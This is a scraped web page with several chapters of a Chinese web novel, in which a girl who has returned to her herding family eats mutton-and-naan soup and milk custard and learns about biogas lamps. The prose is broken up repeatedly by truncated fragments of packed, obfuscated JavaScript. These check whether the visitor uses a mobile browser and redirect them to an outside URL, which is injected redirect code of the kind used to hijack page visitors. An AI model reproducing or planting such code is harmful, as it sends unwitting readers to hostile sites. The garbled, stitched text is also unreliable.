RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14923703|160398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“如果‘剩饭’指的是这种的话,那倒是可以的……”黎芝有些困惑地说道,“但如果是这种‘剩饭’的话,我认为应该属于一种‘新做的饭’了吧。” “你是这样分类的啊……”余庆想了想又说道,“那我换个例子,比如说,‘“小豆腐”热三遍,给肉都不换’对吧。这种‘剩饭’又如何呢?” “‘小豆腐’是什么?”黎芝听得一头雾水,她说道,“我只知道‘大豆腐’‘南豆腐’‘北豆腐’而已。‘小豆腐’的话,难道……是‘豆腐脑’在‘辉山’这边的叫法吗?” “原来你没吃过‘小豆腐’啊……这倒是不好形容、描述了。”余庆说道,“下次做给你吃,你就知道了。” “……嗯。”虽然黎芝对余庆的回答很不满意,但也只能乖巧点头。 “‘小豆腐’是‘豆面子’做的食物。”在一旁半天没有说话的父亲栗原,这时却突然说道,“是一种用剁碎的蔬菜和豆面子一起熬制的东西。熬好之后,浇上些调料汤汁就可以吃了。连菜带饭都有了,很方便省事。” “噢噢噢。原来是这种东西啊……”听了父亲的描述,黎芝其实还是不知道那是什么东西。 (听起来怎么像是一种“黑暗料理”呀?) (这种东西真的会好吃吗?) (“大辉山”这里的人的生活方式,和京城差得还真远呢……) “那个……所以这个东西,越‘热’越好吃吗?”黎芝忍不住笨拙地问道。 虽然,从语境上也能知道,“热”在这里是“加热”的意思,而不是“温度高”的意思。 但在黎芝的感觉里,如果“热饭”指的不是“热米饭”而是“加热剩饭”的话,这种语法果然还是有些别扭呢。 结果,回答黎芝的人,依然还是父亲栗原。 “还是新的好吃。”栗原说道,“什么‘热三遍,给肉都不换’这种话都是糊弄人的。有‘新饭’的话,谁吃‘剩饭’啊!” (啊,这……) (这就给我“整不会”了……) 黎芝过去的生活中,根本不认识关东人。 但由于父亲说的那番话、与母亲之前的发言明显抵触的缘故,使得她受到了刺激,莫名其妙冒出了一句“关东话”来。 余庆听了栗原的话,并不感到尴尬难堪,反而哈哈大笑了起来。 “你怎么不给我台阶下呢?”过了一会儿,停止大笑的余庆说道,“你这样拆台的话,多影响我的威信啊。这让我怎么教育孩子呢?” “但你说的就不对啊!”栗原认真地说道,“‘剩饭’就是没‘新饭’好吃呀!而且,‘小豆腐’这玩意,本来也不是什么好吃的东西吧?被你说的如同‘山珍海味’一般,这有利于教育孩子吗?如果她以后吃到‘小豆腐’,发现一点儿都不好吃的话,那时你就有‘威信’吗?” 余庆笑了。 栗原没笑。 当然,梨花与黎芝也没有笑。 20. 第 20 章 黎芝虽然没有笑,但她的心中却是百感交集。 (这就是我的血亲们吗?) (感觉真不可思议。他们竟然会哈哈大笑,或是为这种鸡毛蒜皮的事情吵架……) (虽然因为这种奇怪的事情都能吵架,可是……我还是觉得他们的感情很好。) 黎芝不由得,莫名其妙地、有些羡慕起“这家人”来了。 (不对,我为什么要羡慕他们呢?) (眼前的这一家人,本来不就是“我自己的家人”吗?) 这确实是,黎芝还没有融入这个家庭的心态表现了。 明明知道对方是自己的血亲,但还是有种在不认识的远亲家里寄居的诡异感觉。 其实,明明和之前收养自己的家庭,感情也没有多么深厚。 但不知道为什么,在黎芝的潜意识里,还是觉得黎家是“自己家”,而面前的栗家一家人则是“认识的别人家”。 这种感觉,真的很错位。 而且,也很诡异。 黎芝不知道要怎么做才能消除这种诡异的错位感觉。 算了,毕竟才第一天认识彼此而已,慢慢来吧。 “我去‘盛饭’了!”余庆有些简单粗暴地说道,然后她转身就离开了。 不知道为什么,余庆在嘴上说的是“盛饭”,但却没有做出“拿着几个人的碗去盛饭”的行为。 应该,做的本来就不是米饭吧,但为什么要称之为“盛饭”呢? 莫非是因为,在这家人的习惯里,菜之外的所有东西,都可以统称为“饭”吗? 习惯与思想的分歧,还真是令人忧郁。 鉴于之前明明跟余庆讨论过“剩饭”的问题,结果还是知道了“这个家里不能完全不吃剩饭”的信息,对这顿晚饭,黎芝其实没有什么期待。 (不过……妈妈不是说她跟别人家要了三斤羊肉吗?所以,晚上的这顿饭,吃的应该是羊肉吧?) (牧场上的羊肉,会比京城吃到的羊肉,更美味可口吗?) 想到类似的传闻,黎芝又不由得抱有了淡淡的期待。 但还是不要期待比较好。 根据黎芝的经验,每次如果期待些什么事情的话,最后难免会失望的。 还不如对未来不加以任何期待,顺其自然,到时怎样就怎样应对比较好。 黎芝就是这么一个“防御性悲观主义者”。 黎芝在之前抱有的,好奇、期待与担忧的心情,终于在余庆“盛饭”归来的时候,彻底发生了变化。 (这算什么“盛饭”啊?) (这不根本就是……直接把“锅”都端来了吗?) 看到这样的情况,黎芝不由得有些惊诧。 直接把锅端上来、在桌上对着锅吃饭这种事情,黎芝以前也不是没有见过。 至少,吃“火锅”的时候,大家也都是对着锅吃的。 但是,这只是一口大大的铁锅啊…… 在桌子的正中央位置,放了一个扁平的金属圆盘,并非银制品。 之前,黎芝一直在想它的作用是什么,她想了很久都没有想清楚。 直到现在才明白,这个圆盘的作用是“隔热”。 也就是说,如果锅直接“坐”在桌子上的话,会把桌子烫坏,它是为了防止这样的麻烦事态发生的工具,仅此而已。 从造型上看,这口锅里装着的食物,大概是一种“汤类”或“炖菜”吧? “好香啊……”黎芝这么说道。 这么称赞,虽然是出于一贯的礼貌习惯,但并非只是客套,她确实闻到了锅里传来的浓浓香气。 当余庆掀开锅盖的时候,黎芝才看清了锅里的东西。 那应该是一种“羊肉汤”吧? 但里面不只有羊肉等熬汤的常见材料,还有大量的金黄色块状物体。 “妈妈,这是什么啊?”黎芝实在看不懂,便询问道。 羊肉汤里,黎芝可以看到的有羊肉块、粉丝、香菜、葱花、难以判断原本是蒜苗还是韭菜的绿色小段,以及看起来是某种面食的金黄色块状物体。 “羊肉泡馕哦。”余庆轻描淡写而又得意洋洋地说道,“今天放的羊肉可多了,一共三斤呢。我全都放进去了,快尝尝合不合口味吧。” (“三斤羊肉”是多少啊?) 黎芝对这方面的数量,其实没有什么概念可以。 但是,这锅里的肉块和肉片实在是相当不少,这一点她还是看得出来的。 (话说回来,“羊肉泡馕”是什么啊?是“羊肉泡馍”的衍生进化版吗?) 黎芝沉默地思索着。 锅里斜斜地插着一个手柄很长的大勺子。 这似乎是公用餐具,想开始或继续吃的人,用勺子把锅里的东西盛到碗里就行了。 余庆第一个拿起勺子,给自己盛了所谓的“羊肉泡馕”。 其次则是栗原,他也给自己盛了满满一大碗的“羊肉泡馕”。 黎芝本来以为余庆会给女儿盛一碗的,但余庆并没有行动,而是自己吃了起来。 倒是一旁的梨花眼巴巴地看着黎芝,她有点可怜巴巴的目光,让原本没在看梨花的黎芝都注意到了。 黎芝这才明白,这里的民风虽然看上去自由奔放,但似乎也不是完全没有长幼之别,只是相对京城来说没有那么明显而已。 比如说,比自己小的梨花,就不好意思在黎芝发呆的时候,自己拿起勺子盛那个“羊肉泡馕”。 她只能看着黎芝不吭声,指望黎芝快点盛完,这样梨花才能去盛。 这也有一些坑呢。 毕竟,黎芝不太擅长弄明白别人的暗示。 (话说回来,为什么是从长到幼?梨花年纪比我小,不是更应该照顾她吗?) 黎芝困惑地思忖着这个问题。 如果不是之前余庆、栗原,依序拿了勺子盛饭的话,黎芝可能还真想不到,可以这样简单地吃晚饭的。 这是因为完全不了解“大辉山”附近的生活习惯的缘故。 在黎芝的想象中,吃饭步骤应该更复杂一些才对。 其实,在最初,黎芝还幻想过,牧民的进餐步骤到底是怎样的? 比如说, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14923704|160398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 餐前会不会向某些原始神明祈祷?之类的想法,黎芝在路上是有过很多幻想的。 没想到,结果完全出乎意料。 最有趣、或者说最出乎意料的事情,是长幼有序的同时,余庆却在栗原之前,自顾自地盛饭吃饭。这让黎芝感到很新奇。 既然余庆可以在栗原之前擅自盛饭吃饭,那么,要么这里男女相对来说是平等的,余庆可能是这个家的真正“家长”;要么,这个家根本没有什么真正的规矩可言,栗原也好余庆也好,谁都是可以优先拿起勺子盛自己的饭的人。 至于梨花为什么不是这样,大概是因为她的年纪比较小吧?抑或是,作为遗孤,受到的打击有点大,不能正常表达自我了吧?有机会的时候可以问问看,确认梨花到底是怎么回事。 梨花其实不算是“楚楚可怜”的那种小妹妹。她会有“眼巴巴地看着黎芝”这种行为,大概是因为之前的生活经历,让她有点畏畏缩缩的、喜欢讨好别人吧? 这可不是什么好事,黎芝下定决心要改变这一点。 分析餐前众人的行为时,黎芝得出的结论,大概就是这样的。 那么,现在先不想这个了,真的开饭吧。 黎芝也毫不淑女地盛了一大碗羊肉泡馕。 然后,当她注意到自己的这一行为时,忽然觉得有种荒诞不经的感觉。 会这么做,简直不像黎芝了。 (这里的人吃饭,还真随意呢……我是被他们“传染”了吗?) (不过,这种感觉,我并不讨厌……) 这么“粗野”“不讲规矩”的家庭,让黎芝感到格外亲切与惊奇。 黎芝盛完之后,流露出有些畏怯态度的梨花,才用勺子盛了自己的那份,坐下吃了起来。 确认了梨花已经开始吃饭之后,黎芝就转开了目光,她现在不太有关心别人的心思。 不知为什么,黎芝出神了,只是盯着碗里的“羊肉泡馕”而已,她就这样发呆了很久。 “羊肉泡馍”的话,在好多年前好像吃过。 (“馕”是可以用来泡的吗?) 黎芝不太清楚,今天之前,她甚至连“馕”这种东西都没有吃过。 这种外型与质感都很独特的烤面饼,让黎芝的内心充满新奇的期待。 回过神来,黎芝才发现自己居然一直在发呆。 (再这样拖下去就会变冷了……先尝尝吧。) 用银汤匙挖起一大匙之后,黎芝轻轻吹了几口,然后小心翼翼地放进了嘴里。 “羊肉泡馕”的味道,让黎芝一时陷入了沉默。 然后…… “好好吃啊!”黎芝用简直堪称感动的声音说道,“我第一次吃到这种东西呢!” “你喜欢就好。”在吃饭之余,余庆抽空说道,“虽然我之前提到了‘剩饭’这个词,似乎让你不太高兴。但你现在看到的‘羊肉泡馕’,绝对不属于一般意义上的‘剩饭’吧?我就是没把这种东西也算成‘剩饭’,才会说我们都不吃‘剩饭’的。” “是的,这确实不属于‘剩饭’。”黎芝很有些安心地说道。 21. 第 21 章 黎芝想了想,又补充了一句话:“比我想象中好吃得多了。” “对吧。不是所有的‘剩饭’都是‘剩饭’啦。”余庆很哲学性地说道,“话说回来……现在,我们家里没有‘馕’了喏。之前剩下的所有馕,都用来煮这个‘羊肉泡馕’了呢。只能明天抽时间,设法烤一些了。” “明天就有新鲜的‘馕’可以吃了吗?真棒呢。”黎芝充满期待地说道,“‘馕’是一种看起来就很美味,吃起来想必也很好吃的食物吧。我也很向往。下次让我尝尝新鲜的‘馕’吧?” “我知道了。明天烤出来的时候,就让你先尝尝吧!”余庆说道,“看着好吃,不一定真的好吃。大概要等到你吃了之后,才能评价是不是真的适合你的口味吧。” “太好了,妈妈。我很期待。”黎芝深深吸气,同时继续用银制汤匙把碗里的羊肉汤送进嘴里。 那是一种很独特、清淡的香味。 原本以为应该存在的羊肉膻味,竟然几乎尝不出来。 羊肉汤里甚至有一种清甜的味道,令人感到很神奇。 虽然是羊肉熬制的浓汤,却简直一点儿也不油腻。与那相反,甚至算得上清淡爽口。 并没有像黎芝熟悉的那样,放醋或是辣椒之类的调料,刻意去掩盖某些不好的味道。 这种汤的滋味仿佛就只加了盐一样自然温润。 羊肉的形状,是指甲一般薄的薄片与少许色子般大小的方块,几乎是肥瘦各半。 并不是说肉片像五花肉一样一半一半,而是肥羊肉与瘦羊肉的肉块与肉片一半一半,肥瘦比例非常分明。 虽然,有的羊肉片或块完全就是纯肥肉而已,但吃起来并不油腻。相反,竟然还很清爽、有一种入口即化的错觉。 而纯瘦肉的羊肉,也并没有什么“柴”的感觉,而是柔软滋润的。 虽然谈不上细腻爽滑,但总觉得格外香醇。尽管不算有嚼头,但这样反而更符合黎芝的喜好。 无论是肥肉还是瘦肉,口感非常柔和软烂,感觉再煮一会儿的话,就要完全散架了一般。 翻动时,可以发现汤里还有一些“粉丝”。这种东西,黎芝曾经是讨厌的。 不知道为什么,黎芝总是有些受不了人工制作的“淀粉类食物”,比如“粉皮”。而“粉丝”或是“粉条”,当然也在其中。 不过,米和面这种“淀粉类食物”,基本上是避不开的。 因此黎芝也无法避开这个食物的大类,想通了的话,即使是讨厌的“淀粉类食物”,黎芝也能面不改色地吃下去。 但是,黎芝没有想到的是,有一天自己竟然会觉得“粉丝”好吃。 羊肉泡馕汤里的这种“粉丝”,吃起来完全不是那种常见的软面的口感,而是清爽且充满弹性的感觉。 到底是这里的“粉丝”比较特别,还是家里人的厨艺好到可以让“粉丝”变成美味呢?黎芝很难弄清楚。 但总之,即使这汤里放了黎芝讨厌的“粉丝”,也没有减弱、反而是增加了黎芝对它的好感,这是实情。 “羊肉泡馕”里面的“馕”是切碎的,看上去金黄焦脆,像是油炸出来的面块。 但咬上一下,黎芝才发现那是发酵过的烤面饼。 它明明充满了汤汁,但竟然还略有一点硬,口感相当奇妙。 咀嚼时,可以感受到那种吸收了大量汤汁的孔洞感,但仍然很有嚼头。 没有那种被汤水泡烂的感觉,只是很香甜厚实,这种陌生的口感,让黎芝非常喜欢。 香菜倒是放的不多,可能是这里比较缺少蔬菜、因而使得香菜更为昂贵的缘故吧。 但它那清香的味道,却让黎芝仿佛幻视到茫茫灰雾中、一抹鲜丽明亮的颜色。 香菜加在这汤里的效果,简直令人神清气爽、精神一振。 虽然香菜的数量不多,不过,葱花放的却很不少。 葱花吃起来还很脆硬,而且辛辣。那是只把葱花切成指甲大小的碎块之后,在临关火之前,稍微用汤烫一下的口感与味道。 翠绿鲜嫩的蒜苗,不仅色泽美丽,而且提鲜效果十分出色,非常适合放在这种汤里增添光彩。 最令人印象深刻的,是汤中的香辛料。 由于那胡椒粉特有的辛辣味道,黎芝可以猜出汤里面放了大量胡椒粉。 除此之外,应该还放了别的香辛料粉末吧?但黎芝不太熟悉,就不能分析与描述了。 总而言之,非常美味。 这是,让黎芝足以对开始生活在“大辉山”的未来,充满期待的一顿晚餐。 能吃到这样的一餐,实在让黎芝很开心。 黎芝吃下第一碗之后,其实就已经有些饱了。 但想到下一次吃到这么好吃的食物,还不一定是什么时候,黎芝就忍不住又吃了一碗。 虽然感觉上实在很撑,但黎芝对此毫不后悔。 “你觉得,这个‘羊肉泡馕’的味道怎么样?”余庆问道,“只吃这两碗的话,能吃饱吗?” (也许不该吃这么多的……妈妈是不是以为我是“饭桶”啊?) “当然饱了!”为了不被视为“饭桶”,黎芝有些慌张地点了点头,说道,“真的很香啊……在我吃过的东西里,也是令人印象深刻的美味吧。” “你能喜欢它,就最好不过了。”余庆微笑了起来,她说道,“之前,我还很担心,你作为一个大小姐,吃不下牧场附近出产的食物呢。” “不会啦不会啦。”黎芝用力摇了摇头,坚定地说道,“只要不是‘剩饭’的话,基本上我都能吃得很香。但其实,‘剩饭’也是能吃的啦……” “我很担心你挑食。”余庆如释重负一般地说道,“既然不挑食我就放心了。不挑食的孩子,是很容易养活的。” “不同于一般的大小姐,我本来就不怎么挑食的……”黎芝说道,“这可能是因为,我的真实身份是‘牧民的女儿’吧。对了……” 黎芝看向了头顶的天花板位置。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14923705|160398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 之前,她都已经欲言又止、止言又欲、沉吟良久,想说半天了。 “这个东西……到底是什么啊?”指着天花板上某处,黎芝疑惑地问道,“我觉得,这应该是一种灯吧?但到底是什么灯呢?看起来好新奇啊,我在京城都没有看到过呢!” 黎芝所说的“这个东西”,确实是一种非常全新、非常新颖、非常罕见的东西。 它应该是一种“灯”类的物品,黎芝对它的这个设想应该没错。 但哪有“灯”是能悬挂在人的头顶上燃烧的呢?太不符合常识了。 而且,这种“灯”也非常明亮。 比起京城的蜡烛、油灯来,它简直明亮了不知道多少倍似的。 “亮如白昼”,固然是夸张的描述。 但这样亮度的灯光,用来读书写字的时候,应该都近乎毫无困难吧? 这种明亮的灯光,仅仅是存在,就让黎芝感到非常惊奇。 “这个东西叫‘沼气灯’啦。”余庆想了一会儿,才大概知道如何解答黎芝的问题,“京城没有它的缘故,应该是因为京城太‘干净’了,没办法建立‘沼气池’的关系吧。” “太干净了?”素有洁癖的黎芝,听到“干净”这个词就会有剧烈的反应。 余庆说京城“太干净了”,这到底是什么意思呢?实在让黎芝感到很不安。 余庆的言外之意,难道是说,“大辉山”很“不干净”吗? 到底是什么东西“不干净”啊?黎芝可是很害怕这种事的。 不过,黎芝害怕的,确实不是“鬼”,而是字面意义上的“脏东西”。 “咳咳……”栗原咳嗽了一声,很不自然地说道,“你还是不要知道比较好啦。” “不要知道比较好?为什么啊?”黎芝困惑地问道。 父亲与母亲所说的,到底是什么意思?黎芝依然不太明白。 “你知道‘沼气’是什么意思吗?”余庆问道。 “不知道。”黎芝心虚地说道,“这个……上学没学……” “这个都没学啊?”余庆很失望地说道,“我还以为这是很重要的知识,一般人都知道呢。” “嗯……我想,可能是因为,这听起来是‘农学’方面的知识吧。”黎芝有点狼狈地说道,“我只是一个普通的学生。上学时学的内容,与‘农学’关系不是很大,所以不知道……” “你不是说自己很擅长‘种植花草’吗?”余庆困惑地说道,“难道我理解错了?你说的‘花草’只是一种比喻而已,实际上种植的是别的什么东西?” (我还能种植别的什么东西啊……总觉得妈妈的构思有些瘆人,是错觉吗?) “还……还好吧?‘种植花草’这回事,我确实还比较擅长的。”黎芝无奈地说道,“但是,‘花草’并不是‘农学’的范畴啊。完全没学过‘农学’知识的人,也能‘种植花草’的。” “真可惜。”余庆叹气,说道,“‘沼气’可是很重要的东西呢。” 22. 第 22 章 虽然不太明白家人们所说的到底是什么东西,但黎芝当然是相信母亲所说的话的。 “很重要吗?”黎芝点点头,茫然道,“好像确实很厉害。看上去,这东西明明什么都没有,却能点燃明亮的灯火,真的很厉害。” “‘沼气’这个东西,不只能点灯哦,荔枝姐。”一旁的梨花忍不住插嘴说道,“‘沼气’还能做饭呢。我们这里,烧火用的燃料,并不是木柴,更不是牛粪哦。荔枝姐,你发现这一点了吗?” “啊?真的吗?”黎芝惊讶地说道,“果然……这里不是用木柴烧火的啊。” 虽然黎芝对于“沼气”是什么东西还几乎一无所知,但知道家里是用“沼气”做饭的时候,黎芝确实对此也感到非常合理。 这可以说是“情理之中,意料之外”的答案了。 一开始待在“草房子”那里的时候,黎芝就在思考“燃料”这件事了。 来到“食堂”这里的时候,黎芝心中的疑惑与违和感,更是达到了巅峰。 她总觉得,这里无论用什么燃料,都显得有点不太自然。 哪里都看不到木柴啊。 如果说,作为“民宿”的“草屋”那一带,因为房屋易燃,所以干脆不点火的话,还能理解,木柴不存在的原因。 但在“瓦房”这里,也没有看到“木柴”的存在,就让黎芝感到很奇怪、以至于难以忽视了。 黎芝的注意力,也不由得自然地转到了“燃料”的问题上。 这里既然是牧场的话,意味着到处都是草一类的东西,也许是焚烧干草或秸秆来代替木柴的吧?之前,黎芝是这么觉得的。 虽然,黎芝一直也没有看到在哪里存放着干草或秸秆之类的东西就是了。 在常识上,自己的假设算是合理的;但感觉上,黎芝却无法说服自己相信这种假设。 这种假设,到底是哪里出了毛病呢? 听了梨花的话,黎芝才终于弄明白了问题所在。 并且,因为增长了见识的缘故,黎芝还感到很开心。 “所以……‘沼气’还能做饭吗?”不知不觉地、对这个陌生的词语,黎芝变得肃然起敬起来。 “是啊,‘沼气’可好了呢。”梨花有些骄傲地说着令人有些困惑的话语。 “这样啊,好厉害。”黎芝懵懵懂懂地跟着点头。 事到如今,黎芝依然不知道“沼气”是什么东西。 但是,这并不妨碍她对这个自己不清楚的词汇,感到敬畏与好奇。 (所以,你们谁来教教我,“沼气”到底是什么东西啊……) 黎芝在心里焦躁地抱怨着。 “那确实是极好的东西呢。”栗原说道,“取暖做饭的时候,再也不用捡柴火或是捡树枝枯草了。捡燃料这些事情,实在十分浪费时间精力。幸好,有了‘沼气’之后,即使什么都不做,只待在家里,也能自然有源源不断的燃料产生。还不用花钱,真是太幸福了。” “所以,听起来……那个‘沼气’,是一种‘气体’?”黎芝好奇地问道,“‘气体’也能燃烧吗?” 固然,黎芝是对农学一无所知的城里人。 但是,她仅仅凭着对话中的只言片语,就分析到这个程度,其实也很不错了。 不过,母亲似乎并不认为“这样也很不错了”呢。 “你这孩子……是真的没上过学,还是学校都不教这个啊?”余庆很惊讶地说道,“‘沼气’这种‘可燃气体’的概念,应该是常识性的知识啊。虽然,这种气体在一定规模下推广应用,是近年的事情……但是至少在‘概念’方面,应该知道它是什么东西,不该如此无知的。” 莫名地受到了来自母亲的教训,黎芝的脸又红了起来。 (这好像……真的是很丢人的事情。) 黎芝又一次相信了母亲的话。 “沼气”是不是常识?这一点,且不说吧。 单单就说,在京城上学的富家大小姐,不知道连牧民都知道的生活常识这一点,感觉就很丢脸了。 不过,也许只有黎芝,会因为这种事情感到丢脸。 她明明自知并非是无所不知的博学之士,却在普通人面前暴露出无知一面的时候,依然会感到无地自容。 在羞愧的同时,黎芝还会拼命在脑子里分析,自己在知识上比不过别人的原因。 (难道是因为……大夏在基础性的教育推广方面,做的太出色了吗?) (这确实是一件好事啦。) 黎芝原本悲观地以为,自己的家人都是些没有知识文化、更不懂情调的乡下人。 但一来“大辉山”,黎芝就被上了一课,她也因此意识到了自己的无知程度。 虽然家人并没有刁难或是嘲讽黎芝的意思,但黎芝还是会暗暗因此感到难堪。 尽管如此,但难堪之余,黎芝还是很开心的。 自己拥有一些“聪明的家人”这件事所能带来的快乐,足以抵消黎芝发现自己无知所导致的沮丧。 这已经足够了。 “她以前毕竟只是富家小姐嘛,不知道挺正常的吧。”栗原宽容地摇摇头,对黎芝说道,“那么,你知道,在沼泽地里,会有气泡从沼泽里冒出来,在附近放上明火的话,冒出来的那些气体就能点燃这件事吗?” 什么啊……父亲的描述让黎芝感到匪夷所思。 虽然听起来非常逼真,但仍然让她感到极为不可思议,就像在听《天方夜谭》似的。 “不知道啊。”黎芝的思考变得有点混乱,她目瞪口呆地说道,“说真的。其实,我从来没见过‘沼泽地’呢。那是什么样子,我想象不出。今天,我还是第一次知道,‘沼泽地’里会冒出气体这回事呢……” “唉,那就没办法了。不知道,也不怪你。”栗原苦笑着说道,“‘沼气’就是‘沼泽地’里冒出来的气体。后来大家经过研究,找到了在自己家发酵、制造出这种气体的方法。推广到千家万户之后,我们就能用这个做饭、取暖和照明啦。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14923706|160398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这不仅是免费的燃料,还是一种‘清洁能源’。虽然,味道可能不太好……但点燃之后,‘沼气’不会冒出污染空气的、呛人的黑烟,更不会在焚烧过度的时候使得空气变得灰蒙蒙的。而且,‘沼气’的原材料,都是无用的废物,是真正的‘废物利用’。最后,剩余的废料还能用来施肥,实在是非常理想的燃料了。” (如果父亲所说的话,都是真实描述的话,那么,“沼气”这种东西,也太厉害了吧?) (完全就是……“完美的物质”了嘛。) (生在这一代的人,能接触到这种完美的事物,真是太幸福了。) 黎芝在心中产生了奇妙的感叹。 “啊……这个是真的好厉害……”不过,脑子里虽然非常崇拜,但在嘴上,黎芝却只能笨拙地说道,“沼气不呛人吗?那可真好……” “不呛人,不冒黑烟,不过味道也不怎么样。这些都是真的哦。”栗原笑道,“以后有机会的话,你也可以试试用这个来做饭,感觉应该会是很奇妙的体验吧。” “嗯,我知道啦。谢谢爸爸。”黎芝懵懵懂懂地回答道。 她只觉得,“沼气”似乎是一种很神圣的东西。 甚至,连能灵活运用“沼气”的自己父母,黎芝也莫名其妙地、非常崇拜起来了。 “沼气”的话题告一段落之后,大家依然吃着晚餐。 晚饭之后,居然还有一道类似“甜点”的小吃。 余庆在厨房里,把这道小吃端了出来。 端出这个的时候,余庆用了一个很大的长方形“托盘”。 木制的“托盘”上面,排列着四个白瓷碗。 由于碗太多了,余庆只能用“托盘”才能一口气端出来。 端上桌之后,每人一碗,大家分享了这道小吃。 黎芝看向了自己面前的这道小吃。 看上去,这是用掌心大的白瓷碗蒸出来的,一种类似“鸡蛋羹”的东西吧。 与“鸡蛋羹”有点不一样的是,“鸡蛋羹”通常都是黄色的。而这种白瓷碗里面的冻状物质,却是十分洁白、亮丽。 “这是什么?”黎芝好奇地问道,“看上去有点像‘鸡蛋羹’但颜色不一样,难道是一种颜色特殊的蛋类做的‘鸡蛋羹’吗?” “这是‘奶冻’。”梨花刚开口,就又似乎觉得冒昧与害羞,便不再说话了。 “‘奶冻’是什么意思?”听梨花说到一半停了,黎芝觉得很憋闷,她抱怨着说道,“你倒是说完啊!” “那、那个……好像不该我说的……”梨花像是很害怕似的抿紧了嘴,依然不说话了。 这可让黎芝觉得更加憋闷了。 竟然会把梨花吓得不敢开口?自己看起来很可怕吗? “梨花有点‘怕生’吧。”栗原说道,“梨花看起来,虽然是很活泼外向的样子。但其实,她的情绪,只有在熟人面前才能保持稳定的。” “……怕生?”黎芝茫然地重复了父亲说出的那两个字。 23. 第 23 章 “是的,梨花在陌生人面前的时候,一般都会变得十分羞怯怕生。”栗原神色平静,耐心地说道,“刚才,她应该就只是、突然又犯了‘怕生’这个毛病,所以不能说话了而已。习惯就好,你不要太介意啦。之前那自然讲话的模样,才是‘异常’的状态呢。” “原来她‘怕生’啊……”黎芝又重复了一遍。 思考着这件事,黎芝微微皱起眉头,她感到有些困惑。 (她是因为很希望讨好我的关系,才会主动努力说话吗?) (但是,又因为她太怕生了的缘故,所以,试图讨好我的行为,显得也十分不自然……) (而且,最后给人的感觉也是奇奇怪怪的……) 虽然梨花刚才的表现确实怪异,但黎芝倒是真心相信了父亲的话。 梨花的确是基于“怕生”,而不是基于什么类似耍心机之类的原因,才不再说话的这一点,即使栗原不予以总结,黎芝也快要注意到了。 从气质与神态就能看出来,梨花的性格有一种奇异、罕有的单纯感,和常见的那种爱装单纯却并不单纯的人是不一样的。 具体怎么个不一样,黎芝倒是描述不来。 由于梨花这种性格比较罕见的缘故,黎芝也缺乏对其形容、描述、概括的词汇。 但尽管她嘴上说不明白,在眼里心里却是一眼就能明白的。 因此,梨花的这种怕生,反而让黎芝产生了类似怜爱的感情。 以前,黎芝真的是从来没有当过姐姐的经验。 因此这种感情,对黎芝来说是陌生的。 黎芝甚至分不清楚,这种心情到底是对妹妹的疼爱,还是对单纯之人的保护欲了。不过,其实这种感情到底是怎么回事,也没有那么重要就是了。 对梨花来说,这种被怜爱被关注的感受,是否也是陌生的呢? 黎芝并不知道,而且她也不再关心这一点了。 总而言之,先吃东西吧。 “所以……‘奶冻’到底是什么啊?”黎芝嘟囔道,“我只听说过肉冻鱼冻皮冻等等,奶这种东西也能结成冻吗?” “‘奶冻’就是个名字而已,其实是用牛奶代替水的‘鸡蛋羹’啦。”黎芝较真的性格,让余庆无奈地说道,“其实,这都不需要听人解释的啊?只要你尝一尝,马上就能感觉出来了,刨根问底才是多此一举呢。” 不知是否与草原上的牛奶足够丰富有关,这种“鸡蛋羹”的做法,黎芝确实第一次听说。 “牛奶代替水?”黎芝试探着说道,“妈妈的意思是说……‘鸡蛋羹’是用水来调稀薄鸡蛋,而‘奶冻’是用牛奶来调稀薄鸡蛋,是这个做法吗?” 虽然用牛奶来代替水,应该会变得更有营养吧,但会不会有点太腻太膻了? 自己真能吃得惯吗?黎芝突然对此有些担心了起来。 “是的,就是这个意思。”余庆说道,“你尝尝就知道了。味道应该很不错,第一次吃的人也基本都给予了好评哦。” “我明白了。那……我就试试吧。”对味道多少抱有一些不安心,黎芝半信半疑地用汤匙挖了一口。 这一匙“奶冻”含在嘴里的时候,黎芝呆住了。 没有咀嚼。没有吞咽。没有评价。 甚至,连银汤匙都只是刚刚从嘴里拿出来,就失神地捏在了手上。 过了一会儿,黎芝把那“奶冻”咽下去的时候,才回过神来。 要说这“奶冻”有多么山珍海味、美味绝伦,那倒也不是。 它只是带有一种“入口即化”的奇妙口感。 这种口感,让黎芝感到陌生,不由自主想要仔细去品味那种感觉而已。 